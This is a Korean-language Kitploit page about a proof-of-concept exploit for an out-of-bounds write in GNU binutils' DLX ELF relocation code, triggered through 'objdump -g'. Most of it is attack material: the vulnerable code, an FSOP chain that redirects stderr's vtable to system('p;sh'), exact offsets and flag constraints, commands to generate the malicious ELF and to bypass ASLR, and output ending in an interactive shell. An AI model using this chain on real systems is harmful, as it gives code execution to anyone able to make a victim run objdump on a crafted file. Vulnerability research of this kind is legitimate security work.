objdump-Out-Of-Bounds-write — CVE-2026-18220을 시연하는 개념 증명(PoC)으로, GNU binutils의 DLX ELF 백엔드에 존재하는 범위를 벗어난(OOB) 쓰기 취약점입니다(`objdump -g`를 통해 트리거됨). | Kitploit

data + reloc_entry->address

bfd_reloc_ok

bfd/reloc.c

// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn  = bfd_get_32(abfd, data + reloc_entry->address);   // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
    vallo = ~(vallo | 0xFC000000) + 1;                   // sign-extend 26 bits

val   = (sym->section->vma + sym->value) - vallo;
insn  = (insn & 0xFC000000) | (val & 0x03FFFFFF);

bfd_put_32(abfd, insn, data + reloc_entry->address);     // OOB write
return bfd_reloc_ok;                                      // skips bounds check

┌──────────────────────────────────────┐  ← same mmap region
│  .debug_info buffer (192 KB)         │  data     = 0x7f...d010
│  ├── fake _IO_wide_data  (+0x1000)   │
│  └── fake _IO_jump_t     (+0x2000)   │
│              ...                     │
│  _IO_2_1_stderr_                     │  stderr   = data + 0x21a4d0
│  _IO_wfile_jumps                     │  wfile    = data + 0x218218
│  system()                            │  system() = data + 0x87100
└──────────────────────────────────────┘

objdump writes to stderr ("Can't get contents for section...")
  └─► _IO_wfile_overflow(stderr)
      └─► _IO_wdoallocbuf(stderr)
          └─► _IO_WDOALLOCATE(stderr)
              = stderr->_wide_data->_wide_vtable->__doallocate(stderr)
              = fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/main/stderr)
              = system(stderr)
              = system("p;sh")         ← stderr._flags[0:4] = "p;sh"

#	대상 (data 기준 오프셋)	효과
0	`0x21A4CF` = stderr − 1	`_flags[0:3]` = `cmd[0..2]` → system() 인자의 시작
1	`0x21A4F8` = stderr + 0x28	`_IO_write_ptr` ≠ 0 → 플러시 강제 → 오버플로우
2	`0x21A56F` = stderr + 0x9F	`_wide_data[0:3]` → 가짜 _IO_wide_data를 가리킴
3	`0x21A5A7` = stderr + 0xD7	`vtable[0:3]` → `_IO_wfile_jumps`
4	`0x21A4D2` = stderr + 2	`_flags[3]` = `cmd[3]`, 패딩 제거 → 널 종결자

비트	플래그	제약 조건	이유
1	`_IO_UNBUFFERED`	`cmd[0] & 0x02 == 0`	그렇지 않으면 `_IO_wdoallocbuf`가 `__doallocate`를 건너뜀
3	`_IO_NO_WRITES`	`cmd[0] & 0x08 == 0`	그렇지 않으면 오버플로우가 즉시 WEOF를 반환
13	`_IO_IS_FILEBUF`	`cmd[1] & 0x20 != 0`	doallocate 블록에 진입하는 데 필요

# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin

# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh"   # interactive shell
python3 poc_ptrace.py --cmd "p;id"   # print uid/gid
python3 poc_ptrace.py                # default: "ps"

[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh'  bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr      = 0x005e61e06cad90  (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr    = 0x0075b1eda524e0
[*] system    = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0  (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20  (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000  (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id                                   ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done

파일	설명
`poc_generate.py`	5개의 OOB 재배치가 포함된 악성 DLX ELF 페이로드(`exploit.bin`)를 생성합니다
`poc_ptrace.py`	독립 실행형 익스플로잇 — ptrace 기반 ASLR 우회, 재시도 루프, GDB 불필요
`exploit.bin`	미리 생성된 페이로드 (기본 명령 `"p;sh"`)

명령	바이트	효과
`"ps"`	70 73	프로세스 목록
`"p;sh"`	70 3B 73 68	대화형 셸 실행 ← 가장 유용
`"p;ls"`	70 3B 6C 73	디렉터리 목록
`"p;id"`	70 3B 69 64	uid/gid 출력

objdump-Out-Of-Bounds-write

인기

mmap 근접 트릭

FSOP 공격 체인

실행 경로

5개의 OOB 쓰기 (PCREL26)

가짜 구조체 (섹션 버퍼 내)

명령 제약 조건

재현

전제 조건

페이로드 생성 + 익스플로잇 실행

예상 출력

제안된 수정

파일

공개

패치